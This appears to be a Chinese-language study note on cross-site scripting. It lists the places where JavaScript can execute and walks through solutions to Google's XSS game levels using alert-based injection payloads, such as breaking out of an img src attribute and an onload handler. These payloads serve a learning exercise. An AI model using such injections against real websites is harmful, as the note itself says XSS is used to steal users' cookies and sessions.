引進JavaScript前 =>
引進JavaScript後 =>
惡意HTML標籤 / 腳本無意侵入、Cookie中毒、披露敏感資訊...
廣義來說僅影響 Browser / Server 其中一邊
通常要跳往功能鏈上一級,濫用Browser本身、套件、插件內的本質
XSS主要目的主要盜取Cookie和Session
比較一般的資料放在Cookie、機密資料放在Session
甚麼是Cookie?
甚麼是Session?
執行JavaScript腳本的地方
‧script標籤
<script>alert("XSS");</script>
‧當作URL
<a href = 'javascript:alert("XSS")'/>
‧事件偵測
<a href='' onclick="prompt('link clicked')">test</a>
<img src='' onerror="alert(error message)">
<a href="javascript:alert("XSS")"></a>
‧放在CSS中
<!DOCTYPE html>
<html>
<body>
<style>
BODY{
-moz-binding: url("http://xss.rocks/xssmoz.xml#xss")
}
</style>
</body>
</html>
<script-></script->
Solve:
1. 在搜尋錯誤後,會送出訊息到下列程式碼
2. 只需簡單將JavaScript的警示框訊息輸入進搜尋欄即可
message = "Sorry, no results were found for <b>" + query + "</b>."
<script>alert();</script>
Solve:
1. 能進行輸入行為的僅有該對話框,而在嘗試後發現其中也包含了HTML
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert()">test</a>
</body>
</html>
2. 故將完整的HTML輸入後,給以一個連結即可破解
Solve:
1. 在網址部分有給圖片連結的原理,而對應下列的程式碼
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
1. 在onerror觸發
在網址後方添加: ' onerror="alert()"
http://xss-game.appspot.com/level3/frame#' onerror="alert()"
因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + ' onerror="alert()" + ".jpg' />";
2. 直接更改程式碼
在網址後方添加: '/>;<script>alert()</script>
http://xss-game.appspot.com/level3/frame#'/>;<script>alert()</script>
因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + '/>;<script>alert()</script> + ".jpg' />";
因為突破點在img標籤內,可有兩種解法:
Solve:
1. 在timer的部分直接讀取到startTimer的地方
2. 故破解點在讓onload直接執行兩個function。
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
再輸入框中輸入;
'), alert()//
該行程式變成:
<img src="/static/loading.gif" onload="startTimer(''), alert()//;" />